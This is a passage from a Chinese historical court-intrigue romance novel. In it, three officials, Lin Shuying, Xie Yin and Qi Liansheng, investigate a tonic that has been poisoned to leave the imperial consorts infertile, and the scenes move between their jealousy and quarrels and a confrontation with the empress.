林疏影眼瞎吗,他比齐怜生年纪小,姿色也比这个端着的君子好多了,况且这人都多大年纪了,都多大年纪了!
那天欲言又止明明是对他有意思,现在呢,和这个虚伪的人拉拉扯扯,什么意思。
想了百般理由,替林疏影找了白般理由之后,还是不能说服自己的谢寅,终于给了那个负心的女人一个眼神。
林疏影此时早就推开大门,进去了。
谢寅扶着额头,轻声“啧”了一声。
“你再不去,林大人可就要把这件事说完了。”
齐怜生丝毫不在意刚才谢寅的“失礼”。
毕竟,他胸怀气量可比这个小孩脾气的人大得多。
对于这次杜周一事,背后定然有位高权重之人,他从林疏影嘴里的出来不少东西,倒是对这事提起了兴趣。
还有林疏影和谢寅的关系也很耐人寻味啊,难不成林尚书的宝贝独子是断袖吧。
齐怜生跟上谢寅的脚步,从容不迫地找到了林疏影。
此时,房间里,堆满卷宗的桌案前,一个白发老人正埋头整理着。
林疏影有些不好意思打断那人的动作,站在一旁寻找时机。
察觉到谢寅跟上来之后,她便转过头看着那人。
谢寅还给了她一个白眼后,上前直接打断了陆大人翻书卷的动作,“陆老头,你看看是谁来找你了。”
他倒是一点也不顾及,却让一边的林疏影的心跳莫名加快。
这是林疏影第一次直面陆大人,虽然这个名字多次被谢寅提起来,甚至她腰间的玉佩就是陆大人给她的,但终究有些紧张。
听见谢寅提及自己,忙上前站好,就等着陆大人抬起头来再行礼。
“哼,你个臭小子,又扰我清净,我怎知不是你故意整我?”
陆德静已经被谢寅念叨烦了,他甚至连头都不想抬,仍旧埋头在一堆书卷中。
谢寅十分不屑地看了一眼陆德静,随后示意林疏影说话。
林疏影见状,也不再等,恭恭敬敬地行礼,“陆大人,是我劳烦了谢大人来找你的。”
陆德静听见了声音,忙抬起头来,看清了眼前的人。
这不就是他一直心心念念的小徒弟吗。
这个臭小子也不说清楚是谁,他在乖徒心里的印象又不好了。
回头定找个理由罚他!
老头子摸摸胡子,露出一个慈蔼的笑,“原来是疏影啊,快坐下,愣着做什么,谢寅,快给他找地方坐下啊。”
陆德静偏过头又看见了齐怜生,有些意外,这个与世无争的大学士怎的也跟来了?
“齐大人可是有事?”
他对林疏影、谢寅没戒备心,但是对这人还是要存一些的。
此人入职翰林院以来,几乎从未与他接触过,他不过是听人提起过这人的风骨。
若不是在官场上,他也是要先请这人上座的。
但还是先弄清楚这人的来意的好。
“我此来,正是与林大人的意图一样,说不定,你们还得用到我。”
齐怜生规规矩矩地行礼,如同平日一样谦卑。
他之前也不是没听说过眼前的人物,五年前轰轰烈烈的变革之风至今仍让士族心惊胆战。
遗憾的是,先皇骤然离世,变革也没了结果。
他心底里还是佩服能在当下如此的朝堂里,仍旧一心为大夏百姓,一心为大夏中兴的人的。
毕竟现在的局势,不必五年前好多少。
而五年后,他不信陆大人真的停止了变革,莫不是换了一种方式。
陆德静闻言看了看林疏影的眼睛,得到了肯定的回应后,便也请齐怜生坐下了。
只不过离自己远一些。
随后,他又让谢寅去外面看看有无可疑的人。
但谢寅哪里肯去,这可是好不容易与负心人在一块的时机,于是吩咐长青去外面守着。
陆德静看着不听话的徒弟,忧心叹气,又看看坐在自己一旁的小徒弟,心里又有了些安慰。
是时候让这个臭小子知道自己几斤几两了。
“疏影,有什么事,尽管说,我能帮的一定帮你。”
“陆大人,此事涉及圣上和后宫...”
林疏影知道这件事牵连的不是一般人,虽然陆大人恪尽职守,但是哪里会有人愿意管分外之事,况且还有要被杀头的风险。
她先试探性地开口询问陆大人的态度,也没抱多大的希望。
“你当我是只顾自己的小人?尽管说。”
陆大人看着眼前欲言又止的人,笑爽快地笑了两声,抬手示意林疏影继续说。
况且涉及后宫,必然涉及士族的势力,应该又是与士族有关的,这不正是一个铲除他们的好机会?
林疏影心里一阵暖,她将自己刚才在太医院所见所闻全然说出口来。
随后又让齐大人拿出藏在袖子里的药材,解释一番后再呈给陆大人。
只见陆大人拿着药材端详许久,眉头越皱越深,待到听完齐怜生陈述完,吐出一口长长的气。
“这是要动我大夏根基啊!”
他将手重重地拍在桌子上,自己替当今的圣上筹谋了多少,只有他自己心里知道。
但究竟是何人图谋毁灭整个大夏!
齐怜生上前接过陆大人手里的药材,仔细地用布帛包起来,放回袖子里。
站到一边候着。
林疏影见如此情形,便知晓此事有了着落,便上前道,“疏影愿尽绵薄之力,揪出幕后之人。”
“我愿意协助林大人一起查这玄乎的汤药,请陆大人成全。”
谢寅抓住了机会,赶忙开口。
如今,他一个武将与翰林院可是八竿子都打不着的关系,再不找机会一起共事,恐怕真就如了那负心人的心思。
还有那个突然冒出来的齐怜生,又懂医术,莫不是就是来与他抢人的吧。
要从他手里抢,还得有点能耐。
林疏影诧异得看向谢寅,“他不是还要查封赵家底下的所有家产?怎的又要掺和这些。”
真是如何都甩不开这人了。
她轻声叹气,但心里确是另一番滋味,没有原先的心惊,倒是觉得心安了不少。
而后,陆德静缓下来后,铺展开眉头,“此人背后说不准是谁,你二人不要着急,究竟如何,我还需禀报圣上。”
“劳烦齐大人陪着去见一见圣上了。”
陆德静站起身,拍打了身上的尘土又正了正衣冠。
“此事涉及大夏根基,不容耽搁,我先去找圣上,诸位避开耳目,分开去吧。”
他面上看不出刚才的愤怒,倒是有了几分从容,让人看不出意图。
几人纷纷回应,行礼。
林疏影看着那背影,思索片刻道,“齐大人,咱俩去翰林院先告假如何?”
她不想干等着,不然肯定会被谢寅这个人缠上,本来她已经想好了两人的关系。
但奈何这人总是在她眼前晃,她又拿这人没办法。
“嗯,你确定?”
齐怜生可是将林疏影身后谢寅的表情一览无余,真是精彩极了。
这俩人应该是真的有些什么。
不如再试探一番。
“怎么了,齐大人,有什么不妥吗?”
林疏影明显听出了些不赞同,她可不能替齐大人做决定,若是他不同意,拿她就得另想他法躲开谢寅了。
“没有,我是想好像没有考虑谢大人的意见。”
齐怜生答道。
现在早就过了卯时,两人再一同回去,不知道又会被那曹家小儿说成什么样子。
况且,那人看林疏影也不顺眼得很,可别让他也一起遭了殃。
二人若是不回去,待到圣上知晓汤药一事,有了圣上的庇护,那姓曹的也不好明着挑刺了。
“齐大人真是贴心呐,竟然还想到了谢某人,我真是感激不尽啊。”
谢寅注意到了刚才齐怜生挑衅的目光,自然不肯退让半分。
他咬着牙说出来这句话。
林疏影在一边有些不知所措了,不是,这两人怎么就开始了?
难不成发生了什么她不知道的事。
齐大人之前得罪过谢寅?
“既然齐大人不想去翰林院,那便不去,我看着时辰差不多了,还是快些动身吧,不然该让圣上等咱们几个人了。”
林疏影站在两人中间打着圆场。
这俩人这么一闹,她倒是没那么介意谢寅的存在了。
谁知谢寅直接拉着林疏影的手腕走了出去,一点儿也没顾及齐怜生。
“不是,你干什么,放开。”
这一切有些莫名其妙的,让她找不到什么头绪。
“你不怕被齐大人知道你...”
“知道什么?”
谢寅加重了手上的力道。
只要一见到林疏影和那个道貌岸然的东西走得近,他就一股无名火。
“知道我是断袖?全京城都知道我心悦你,就你不知道吧。”
谢寅低声说出这句话。
二人纠缠之时,正巧
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有几个侍卫巡查,与林疏影擦肩而过。
林疏影被这人的话烧得脸红,又见着了其他人,顿时想找个地缝钻进去。
光天化日的,怎么这个人就这么厚颜无耻。
“你说什么,我不知道。”
林疏影近乎妥协地放弃了挣扎,含糊着打着马虎眼。
“你以为齐怜生能庇护你?我告诉你,他不过是个道貌岸然地伪君子,说不准哪一天就把你的身份昭告于天下了。而我,也只有我能够护你周全。”
“你想继续在官场上,我没任何意见,你不想被困在后院,我也不会强迫你,你想要的,我都可以给你,而那个齐怜生能给你什么?”
谢寅加快了脚步,被拉着的林疏影已经快跟不上他了。
怎么谢寅突然对她说这些将齐大人贬低的话,再说,齐大人哪里要为护她而做这些了?
齐大人哪里知道她的身份了?
这些确实是她所求,但这人话里话外都在拿他自己和齐大人比较。
定然是这人觉得她与齐大人有什么。
“你不要毁齐大人清誉,就像刚才我说的一般,我们只是恰好碰上了。”
林疏影挣开那人的手,这个人张口闭口都是她与齐大人如何?
难道在他眼里,自己就只能靠男人么。
她是受了谢寅的庇护,但刚开始在沧隅时,那也是她以身入局换来的功劳,不管是在沧隅的救命之恩,还是在京城的,她都记得,但这不是谢寅威胁她的理由。
也不是将她捆在身边的借口。
林疏影费了好一番力气,终于从那人手里挣脱出来。
她停在一边,近乎恼火地与那人对峙。
“你是为了他才与我这样的?”
谢寅继续揪住这个问题不放,现在他满脑子都是林疏影和齐怜生的事,几乎要丧失了理智。
他不允许林疏影和其他男人走得近,他不允许风筝挣脱他的手。
林疏影听着他说的话,心里满是讽刺,这个人真是装聋作哑。
“你不要乱给齐大人扣帽子,你以为他也与你一样放肆地喜欢‘男人’吗?”
林疏影将后半句的声音压得极低,这些并不光彩。
但这话有些重了。
无论如何,谢寅与齐大人都算是好官,不能因为她让两人产生嫌隙,不然倒是被士族钻了空子。
“你...”
谢寅充满血色的双眼死死地盯着林疏影。
到头来,自己的“喜欢”都要被这个人贬低么,都要被这个人拿出来鞭挞,只为了给姓齐的正名?
呵呵,林疏影,你好样的。
而林疏影迎面对上那人指着她的手指,丝毫不惧,与那双猩红的眼对视,不落下风。
“我再说一遍,我与齐大人没有关系!”
没等林疏影这句话说完,谢寅只听到一个齐字,便头也不回地大步向前走去。
林疏影叹了口气,她擦去眼角的泪水,急急忙忙跟上去。
二人这么一闹,堪堪赶上了齐怜生,三人一起进了宫殿。
“参见皇上,吾皇万岁万岁万万岁。”
三人整齐地行礼。
林疏影小心地打量着谢寅的举动,刚才的失控仿佛都是假的,从未出现的。
其实这个人分寸抓的很准的。
想起自己说他“放肆”一词,她又有些心痛。
别人不知他为什么放肆,难道她这个当事人还不知道吗?
话终究是说重了,待会儿再道歉吧。
皇帝摆摆手,“快些起来吧,陆爱卿已经把事件经过都与朕阐述清楚了,齐大人,劳烦你再与朕说说这药物为何有问题。”
三人起来,齐怜生上前,拿出布帛呈给小福子。
刚才皇帝可是发了大脾气,此时他大气也不敢喘得小心万分地接过齐怜生手里的东西。
送到皇帝跟前,又小心地打开。
“微臣自幼学医,若说对所有的药物都精通,那是不可能的,但这里面的所有药材,微臣有十足的把握确定此药有问题。”
齐怜生再次阐明此事是真,才开口解释起来诸多药物的搭配,和那杜周另外加入的那一味关键性药物。
听完这一番解释,皇帝愤愤地一拍桌案,龙颜震怒。
皇帝上位时不过十五,前有士族挑衅,后有太后意图干政,行走极为艰难。
刚开始,所有人都以为他是好拿捏的,没有人真正得把他当作皇帝。
这几年,他不知费了多少心思,才一步步把太后囚禁在后宫,把士族的锋芒压下去。
但筹谋了这么多年,竟然败在了这里。
他当下便任命知晓此事的三人,“谢寅、林疏影、齐怜生你们三人,不管使用什么方法,都要把幕后黑手给朕揪出来,朕倒要看看,究竟是谁敢毁我大夏基业。”
47. 第 47 章
谢寅领了令牌,没看林疏影一眼,径直就往殿外走去。
齐怜生察觉出两人之间的不对劲,投给林疏影些宽慰的神情。
林疏影垂下眼睑,因为她把齐大人莫名其妙地牵扯进来不说,还让他遭了谢寅记恨,但这人并未仇视她,仍会给她宽慰,她心底里是暖的。
三人一前一后地走出殿外。
谢寅看着迟迟在后面“拖沓”的两人,眼里心里都是不快。
长青和长煊在殿外候着,见着了这一幕,心里都琢磨起来了。
怪不得自家主子生这么大气,原来是怕林大人跟别人跑了。
长青想着刚才主子的失态,忍不住笑出声来,“长煊,你看主子是不是有点可怜啊,做了这么多,都为他人做了嫁衣。”
谁知话音还没落,就被谢寅甩来一个冷眼,当即收敛起看笑话的幸灾乐祸,紧闭起嘴来。
谢寅正是火头上,长青还要触他眉头,“长青,你去谢府伺候谢大人罢,不必跟着我了。”
没等长青回话,谢寅就转过身,也没看林疏影和姓齐的,直接往后宫走去。
既然人家的态度都表示地这么明确了,那他还死皮赖脸地纠缠,那岂不是他“放肆”,他“不要脸”了?
谢寅气鼓鼓地走到了后宫。
谢寅是武将,此时他拿着令牌,满身杀气,带着人封锁住整个后宫。
丫鬟太监们看见了赶忙回自家主子宫里禀报,不知道是哪个糊涂人犯了错事。
林疏影和齐怜生堪堪赶上,正碰见谢寅呵斥一名太监。
“圣上钦赐令牌,你敢违背圣上的命令?”
“只是,皇后娘娘确有急事,需要往宫外递些消息,还望谢大人成全。”
小礼子是皇后身边的心腹,有什么事情总要经过他的手才放心。
他看谢寅不给通融,便从怀里拿出些金子来,想要打点一二。
谢寅哪里受用!?
“狗奴才,你竟妄想也将本大人拉下水!”
谢寅本就一肚子气,此时见着这么个货色,自然没再忍着。
管他是皇后还是贵妃,这里的每一个人都有嫌疑。
眼看谢寅还要再踹上一脚,林疏影忙上前拉住了那人,这才刚开始,踹一脚足以立柱威信。
但若是再踹,恐怕出人命,到时候,汤药一事还没着手去查,反倒是先被这太监背后的人咬住了。
她看着谢寅的眼睛,死死地拽着那人的袖子,轻轻地摇头。
谢寅本想推开碍事的人,但终究没下去手,只是别开眼。
冷冷地说着,“你放开我,这点轻重我还是知道了,没大人你说得那般放肆无礼。”
她只得放开,听见那带着赌气和责备的两个字,她心里一阵痛。
那句话真是伤着他了。
“公公先回去吧,我们三人均是皇命在身,通融不得的。”
林疏影转身,看见仍旧被踹到在地,无人敢扶的太监,开口劝说道。
那人闻言,连滚带爬地起身,跌跌撞撞地跑了回去。
此时,无有太监丫鬟敢靠近,除却守卫,只剩下三人了。
“谢大人,你可知那是谁的太监?”
林疏影试探性地问着,她摸不清谢寅现在的心思。
齐大人常年在翰林院里面待着,自然是不知晓这些,她也只能问谢寅。
为了查案,就算是让她给谢寅跪下来也成。
“林大人现在才想起我了?”
说罢,他还转头审视了一番齐怜生,又转回来看看林疏影。
仿佛在说,‘怎么不去找你的齐大人?’
林疏影颇为无奈,她已经解释过不下三遍了。
这个人就是听不进去,就非要这样计较下去吗?
“谢大人,先前的话,都是我一时失言,故而说出些大言不惭、大逆不道的话,还请大人海涵。”
林疏影只得硬着头皮行礼。
她抬起头,看着谢寅仍旧不依不饶,便起了下跪的念头,却被齐大人一把拉住。
“想知晓,只需抓一个人审问即可,我们宫外的人不知道里面的事,但宫里的人可是熟知的很,不需要费这么些劲。”
林疏影站起来,她看着齐大人身后的人,心里莫名有些无措。
这个人生了多大的气,连案子也不想与她一起查了么。
若怪,只能怪她言语伤人,百般拒绝了。
反正,这也不是她一直想要的么。
“那烦请谢大人将令牌给我,好让我喝令兄弟为我抓一个丫鬟来。”
林疏影撇开齐大人的手,她再一次恭敬地冲谢寅行礼。
谢寅轻轻“嘁”了一声,便将令牌随手丢到地上,转过身去,“我只管守卫,其他的,你们二人来查。”
林疏影直起身子,怔怔地看着那一抹背影,心里说不出的感觉。
她缓缓弯下身子,捡起令牌,两只手死死握着,仿佛要抓住什么。
但她什么也没抓住,也不能抓住。
“这位兄弟贵姓?”
林疏影拿着令牌,调整好情绪,她转身问一个离得比较近的侍卫。
“姓柳,大人有什么事尽管吩咐。”
“好,柳侍卫,你去把那躲在柱子后面看戏的小宫女抓来。”
林疏影说话声音极轻,故而,远处藏在柱子后面,不时探头的人儿并不知晓接下来将会发生什么。
柳启林应下,令牌在谁手里,他就听谁的话。
刚才谢大人与林大人之间的私事不是他能妄议的。
那小丫鬟被逮个正着,想跑,却自己脚下一绊,直接摔地上了,一只脚处红肿了一片,是被柳侍卫半架半拖来的。
林疏影见了,不禁笑出声,“柳大人可是已经娶妻了?”
“大人慧眼如炬,属下不敢隐瞒。”
“好,将人放在这里就行。”
林疏影没再多说什么,蹲下身子来与这人平视。
“我问你,刚才的太监是谁宫里的,叫什么名字。”
林疏影刚才还有些笑意的眼睛,此刻只剩下乌黑看不见底的一片,颇有些威慑。
那人被吓得一哆嗦,“是皇后,是皇后指使的,叫小礼子。”
林疏影颇有些意外,回头看看齐大人。
这人竟然全说出来了,一点儿也不避讳,她的眼神还没强到这个地步呢。
齐怜生点点头,肯定了她的疑惑。
“看来,得拜访一下皇后了。”
谢寅应该没有把汤药一事传开,他极会拿捏分寸,自然也是知道不打草惊蛇的道理。
皇后只听到了一点风声,就要派太监出宫传信,心里定然有鬼。
正巧后宫妃嫔众多,正愁没什么思绪,倒是皇后先送来一个把柄。
谢寅坐在不远处的石墩上,看着走远的两人的背影,心里
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满是鄙夷。
拳头狠狠得砸在石墩上,见了血,但他似乎感觉不到手上的疼痛。
“长煊,你去盯着那杜周,只要他有任何举动,都要记下禀报。”
另一边,林疏影带着柳侍卫一干人等已经到了坤宁宫。
外面的侍卫、太监本想阻拦,但都被林疏影拿着令牌呵斥退下了。
还未走到殿内,就见一人凤冠华服,一身雍容,仪态端庄,不紧不慢地走出来。
“何人擅闯我坤宁宫,如此不把本宫这个皇后放在眼里?”
皇后曹氏迎面呵斥住林疏影。
她及笄之后便嫁与皇帝成为一国之母,如今竟然被这么个不知道从哪里来的小倌压一头,真当她是好欺负的?
未出阁时,她是名满京城的贵女,出了闺阁,她是母仪天下的皇后。
前有谢寅那不知好歹的踹她的人,后有这人闯入她寝宫。
皇帝究竟是怀疑她。
可笑陪伴了几载春秋的情分,皇帝当真冷血无情,怪不得太后冷落他,怪不得永宁疏远他。
这都是他活该!
“我知晓此番闯入娘娘宫殿,甚是无礼,日后再好好给娘娘赔罪。”
林疏影今日也算是见识了皇后的威仪,好生行礼。
“你还知错?我看你粗鲁无礼,这身官服穿着真碍着了本宫的眼,不如脱下来,任本宫打两板子,就算你赎罪了。”
曹皇后不依不饶,踹了她宫里的人,怎么说也得有个代价,既然谢寅不肯来,那就让这个出头的来。
她曹家为了帮扶皇帝稳住京中各方士族,可是费尽心思,甚至连太后都得罪了。
皇帝就算再气愤,也还是要看她母族的脸色行事的。
一个小小的侍读拿着令牌就要将她皇后的脸面踩在地上,她倒是真想看看这人的皮有多厚,看看这人受的住几板子。
“皇后言重了,刚才那太监是娘娘宫里的,我见他行事鬼鬼祟祟,恐怕做出些不好的事来,这才没了轻重,先给娘娘赔个不是,但这人我还是要带走审问一番,免得这奴才再冲撞了您。”
林疏影恭敬地行礼,皇后说什么,她必然不惧。
眼下,她有令牌护身,就算曹皇后敢打,事后皇帝怪罪下来也捞不到什么好处。
“你别以为傍上一个谢寅,皇后娘娘就拿你没办法,我告诉你,谢家能容得下你吗,以色侍人换来的官职,还配数落到皇后头上,真是胆大妄为。”
一边的李嬷嬷得了皇后的授意,上前指着林疏影的鼻子骂起来。
林疏影听着这些话,不禁笑出声。
这些人竟然连这些也知道,谢寅为了堂堂正正地喜欢她,做了多少努力。
无论旁人怎么评说她的能力、职位,她永远知道这些都是自己挣来的。
谢寅确实帮了她很多,若是没有他,自己可能连命都没了。
此时,万般情绪聚集在心头,有些苦,“这位嬷嬷嘴上积德。”
林疏影不再隐忍,她本就是来彻查汤药一事的,没成想皇后千般阻拦她找人。
那她何须再装模作样。
“我只是奉陛下的命令,把小礼子抓出来。”
“林大人,这就撕破脸皮,你就不怕一无所获之后,我曹家记恨上你,皇上怪罪于你?”
曹皇后维持着身形,李嬷嬷见状,忙上前扶住。
事已至此,她万万不能把小礼子送出去。
48. 第 48 章
皇后曹氏一记眼神给那身边的嬷嬷,随后便转换了话音,恭顺了不少,“林大人,久仰大名,您在庆阳时的功绩,我处在深宫之中也有所耳闻,今日一见,果然气度不凡,名不虚传啊。”
嬷嬷会意忙往后面的屋子走去。
她主动放下身段来,还往前走了一步,好生打量了一下眼前的人。
不得不说,此人虽背后有谢寅撑腰,没什么本事,但人长得倒还算俊俏。
曹氏眼波流转,另一个丫鬟见状上前,拦住了正要动身追李嬷嬷的林疏影。
林疏影向后退一步。
这些生下来就在世家贵族的人当真是能屈能伸,前脚才将她劈头盖脸来了一顿臭骂,下一秒眼见她态度强硬,就立马转变法子。
这不恰好说明那小礼子知晓他们一些龌龊事吗?
没准,与那汤药有关。
只是,他们又怎知皇帝这次是知晓了汤药一事,然后来专门彻查此事的。
没等林疏影反应过来,她就被一个小丫鬟挡住了去路。
她缓缓垂眼,看着比自己矮一些的人,又看看不远处的皇后,心下明了了。
这不就是声东击西吗,难不成这些人想要“灭口”!?
她有那么蠢吗。
林疏影干脆连客套话也不说了,直接推开挡在身前的人,径直往李嬷嬷去的方向走去。
她倒要看看,这些人究竟要如何。
齐怜生见状,吩咐几个侍卫跟上林疏影,而后便一脸柔和地冲着曹皇后笑。
“皇后娘娘,近来可好?”
只要这些人都喝了那加了“料”的药,必定身子虚弱。
虽然娘娘们平日里都要涂脂抹粉,但是脉像不会骗人。
“阁下是...”
曹氏倒是一点也不担心跟上李嬷嬷的林疏影,反而对眼前的人有了兴趣。
她知晓的朝廷命官不少,但见过的很少。
只要林疏影来从小礼子身上找不出任何线索,那她就可以让父亲助她将所有的事情推到那狗奴才身上。
皇帝就算是有了对付曹家的念头,也不要忘了,五年来,到底是谁帮他一点一点将太后彻底困在深宫的。
而她,等她为这个人生下他唯一的子嗣之后,皇帝就再也不能轻视她,再也不能摆脱她曹家了。
思及此,曹氏露出一抹阴狠的笑来。
齐怜生将这一切尽收眼底,“我是翰林院大学士,您可能不知道,我也是位医者,刚才见您步伐有些不稳,想为您检查一下。”
出了这档子事之后,皇后的动作最大,最可疑的就是她了。
只要他能接触到这人的脉像,只要这人脉像不像服用那种药物一样虚弱,那凶手就在眼前了。
但以皇后的性子,自己还得搬出更大的身份来...
“是那翰林院剩下的唯一的大学士了?你如何学得医术的?”
果然,曹氏仍旧十分戒备,她上下打量着齐怜生。
无论如何,她的身份尊贵,不能让那些粗鄙之人贸然诊治。
那苏陈正不识好歹,她千金都不能让那个倔驴来给自己诊治身子。
若那人有眼前这个大学士的半点自觉,那她早就怀上了皇子,而她也必然不会烧了那人的好处。
“臣在民间读书时曾跟当时的神医齐修学过一二,虽学艺不精,但还是将师父的五成医术习得了。”
齐怜生一说出此话,曹氏的脸色一下子就变了。
要知道,齐修可是名盛一时的神医,曾有多少人花重金只求当那人的学徒,可都是婉拒的。
齐修几乎是所有医者的终极理想,每个医者也都幻想着能拥有他的医术。
就算是那个苏陈正不也是齐修的崇拜者?
曹氏内心打好了算盘。
机会难得是一,既然这人都已经是说出来了,那就是不怕她去查的,只要能让她尽快怀上皇子,就是信这人一会子又何妨。
“难得见了您,近日本宫确实有些不适,一直为皇上忧虑子嗣一事,你看我整整陪了皇上五年,至今肚子都没什么动静,子嗣乃关乎大夏根本,烦请医者为我诊脉,本宫若是真有旧疾也得早些治才是。”
曹氏直接开口,她隐去了许多让人多疑的话,只把自己挑拣出来,全然不说其他嫔妃也是如此。
齐怜生听了这一番话,心里的怀疑加重了。
今早得到的消息是,那汤药要送到每个娘娘宫里,皇后也不是不知道的。
别的娘娘没有怀疑都可以勉强解释,但皇后既然是陪伴皇帝最久的,皇上宿在皇后宫里的时日也是最多的。
她现在依旧没有身孕,为何一次都没有怀疑过那古怪的汤药。
带上了疑问,只剩下验证了。
只要这人的脉像还好,那就是这人虚张声势,布置了一切,不允许别的人比自己早诞下子嗣。
归根结底,还是后宫之争罢了。
“好,娘娘里面请吧。”
齐怜生做出请的动作,心里打起了小算盘。
单单听这人的话,倒是隐晦地暗示了自己身子不大好,不容易受孕。
当他搭上皇后的手腕之后。
摸着跳动的脉像,他渐渐皱起眉头。
而后看了看阴影之下的曹氏,心里刚搭建起来的怀疑瞬间崩塌。
皇后身子虚弱非常,若只是体寒不易受孕没这么严重,那就是...
她也喝了那杀千刀的药!
那...凶手不是皇后?
齐怜生被脑子里跳出来的念头吓了一跳。
曹氏若是再喝上一个月,那她就再没受孕的可能了。
若只是后宫子嗣之争,那把自己搭进去,究竟是为了什么。
齐怜生想不通,既然不是皇后,那凶手是谁?
正当他想着要如何对曹氏解释时,林疏影一身肃杀冲进来了。
“皇后娘娘这是何意?”
她丝毫不顾及丫鬟的阻拦,甚至废弃凡俗礼教,直接向眼前优雅端坐的人讨要一个说法。
“我怎的听不懂林大人的话了?”
曹氏收回被摸脉的手腕,好整以暇地微微抬头,看着眼前无礼的人。
虽然是坐在椅子上,比林疏影矮了不知多少,但她周身透出倨傲来,丝毫不落下风。
“小礼子死了!”
林疏影看着眼前的人理所当然地装疯卖傻,有些气愤了。
刚抓到的线索就这么断了?
这个人还如此放肆,想必皇后的母家也参与了这事。
拿大夏的根基来作为士族手里掌握的底牌,真是可耻!
“什么!竟然死了,李嬷嬷,我刚才不是让你看好他吗?”
“皇后娘娘息怒,都是老奴的疏忽,竟然没发现那人偷藏了毒药,许是做了什么亏心事,不想连累娘娘,便...”
李嬷嬷紧随林疏影进门,一直在一边候着,就等皇后开口。
“都是老奴的错,老奴管教不力,没能阻止小礼子,您要罚就罚我,林大人您要抓就抓我!”
她一下子就跪在林疏影跟前,摆出负荆请罪的模样。
曹氏坐在椅子上,毫不遮掩自己的情绪,近乎挑衅般地冲林疏影笑。
眼下,林疏影进不得,退不得,她实在懊悔自己刚才与曹氏拉扯了那么久。
恐怕小礼子外出送信就是这个局的开始,皇后从来就没想着藏,只不过是借她的手把所有的事情都推到一个死人身上。
这样一来,死人不光不会暴露她的龌龊事,只要再借用曹家的势力,她们做得所有事就都是这个奴才蓄谋已久了。
真是演了一场好戏啊!
林疏影只得闭上眼镜,仔细整理了一番脑海中的思绪。
片刻之后,缓缓睁开眼,给了齐怜生一个眼神,便打算打道回府。
没了线索,不能直接把人逮回去,不然曹家也不是吃素的。
“皇后娘娘,您的身子一切都好,只要按时起身按时入睡,就没什么问题。”
齐怜生会意,起身终于把刚才准备好的一番话说出来,便告退了。
曹氏仿佛对这个答案十分满意,刚才的挑衅又变成了柔和,看着齐怜生的眼神里尽是感激。
林疏影感受到了暗流,又想起她闯进来时,齐大人好像在给皇后诊脉。
这也是一种线索,不愧是齐大人。
“大人刚才诊脉,可是有什么不妥之处?”
林疏影刚才有些晦暗的心突然明亮起来,小礼子死了,但皇后的脉像比小礼子所谓的言语还要真实。
如此,还可以让齐大人诊后宫所有嫔妃的脉像,到那时,皇后必然露馅。
“娘娘她应该也喝了那古怪的汤药。”
齐怜生正愁如何开口像林疏影解释,就被林疏影问了,也只好实话实说了,不再绞尽脑汁修饰了。
林疏影闻言脚步一顿,这是她没想到的。
如今,怎么看都是皇后所为,但如果她的假设都是真的,那么皇后为什么要以身犯险,就算是皇后要这样做,那曹家也定然是不允许的。
只有皇后有了子嗣,他曹家才能真正在朝堂扎根,才能平安地度过皇帝拔除士族这一关。
难不成,背后另有其人?
刚刚有了一点线索,如今又断了,林疏影看着不远处的正高悬在天空中的太阳,不禁有些感慨。
这些藏在背后的人到底是为了什么呢。
陈述是为了曾经的一个公道,赵家是为了权势地位,而曹家没可能自毁根基。
“齐大人,我有一个法子,劳烦您明日给后宫所有的嫔妃诊脉,在喝完那古怪的药之后。”
齐怜生不知道林疏影打的什么算盘,先应下了这档子事。
他该说的也都说了,他知道的林疏影也都知晓,林疏影与谢寅负责查案,他听这两人吩咐就好了。
得罪人的事情全交给他二人就好。
不久
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,两人便走到了谢寅所在的地方,此时他背身站立,双手交叠在后,一派闲散。
林疏影一看便知这人还没消气,本来就被线索中断一事焦头烂额的她更加闹心了。
她的选择是为了谢家,是为了他,怎么这个人就是不明白呢。
怎么...
林疏影掐灭了自己心头的疑问,无论如何,眼下最关键的还是把汤药一事查清楚了。
“谢大人。”
她上前对着那人的背影行礼。
见那人不应声,也不转过身来,她也没较真,只对着一个背影开始说这此去的艰难与收获。
等她讲完之后,那人才堪堪转过身子来,直接反问,“我竟不知齐大人是神医的关门弟子,久仰大名。”
谢寅凌冽的眼神直接越过林疏影,瞄准齐怜生。
所含的意味太过明显。
林疏影依旧头疼,先前就是这样,处处针对齐大人,她虽辩解过,但也都无济于事。
她思索着如何打破这个僵局,随后便询问道,“谢大人可有线索,我实在才疏学浅,比不上大人经验丰富。”
这话一出,谢寅心里倒是好了很多,他收回目光。
专门盯着林疏影,这人倒是不再提齐怜生了,正好顺了他的意。
也好,那他就勉为其难,将自己的见解讲出来吧。
“无论是不是曹氏,只要把她的心腹抓来审问一番不就好了?”
谢寅看着眼前有些诧异的人,不禁好笑。
本来就是这么简单的事情。
“怎么,林大人是被曹氏吓住了?”
“曹家势力不容小觑,如今小礼子一死,还有什么理由把她身边的人抓来。”
林疏影倒不是害怕,只是就算是要查也得有些证据吧。
“这还不简单,明日你让你的齐大人挨个宫里问一遍,这药是谁让她们喝的不就行了。”
谢寅的话倒是提醒了林疏影。
她们是局外人,自然不知道这些,但身在局中,了解到的东西比她的多。
况且,后宫里难免有与皇后不和的,届时,只等皇后被“众叛亲离”了。
“多谢谢大人。”
林疏影当即行礼答谢。
“曹家那边,你不用管,皇上早就想要挫一挫他的锐气,下次皇后再搬出曹家来,不要怕。”
谢寅犹豫了一会儿,还是把这些说出来了。
林疏影看着那人错开的眼神,心里还是忍不住触动。
这个人自始至终都在尽力护着她,她却一直在躲闪,一直在回避...
不等林疏影答谢,谢寅又开口,“今晚你俩人值守,我有些事,不便再留。”
话毕,便转身离去。
徒留林疏影和她未说出的哽咽在嘴边的话。
谢寅此去,是要领罚的。
京城的流言蜚语早就灌入了谢重渡的耳朵里,他本也不在意,但又不知听闻了什么,非要好好教训一下这纨绔子。
“你可知道,你一次一次卷入这样的事里,是给我谢家招仇敌的!”
谢重渡手里的鞭子毫不留情地落下,在谢寅的背上落下一道血淋淋的红痕。
他费尽心思,筹谋好一切,甚至不与陆德静明面上来往,就是为了保住整个谢家。
而谢寅则咬紧了牙关,愣是不喊叫出声来。
他的眼睛也早已猩红,执拗地看着地面。
父亲保全自身的心思他如何不知,但是在这样的世道下,哪里能保全。
要么成为皇帝的刀清除士族,要么被清除。
这么简单的道理,父亲怎的就是不懂。
“父亲,你把我送给陆大人的第一天就应该知道,我会走到今天这一步,不是吗?”
谢寅的声音沙哑地不成样子,他慢慢抬起头,看着站在角落里心疼他的母亲,又冲那人微微摇头。
既然事已至此,为什么不搏一搏呢。
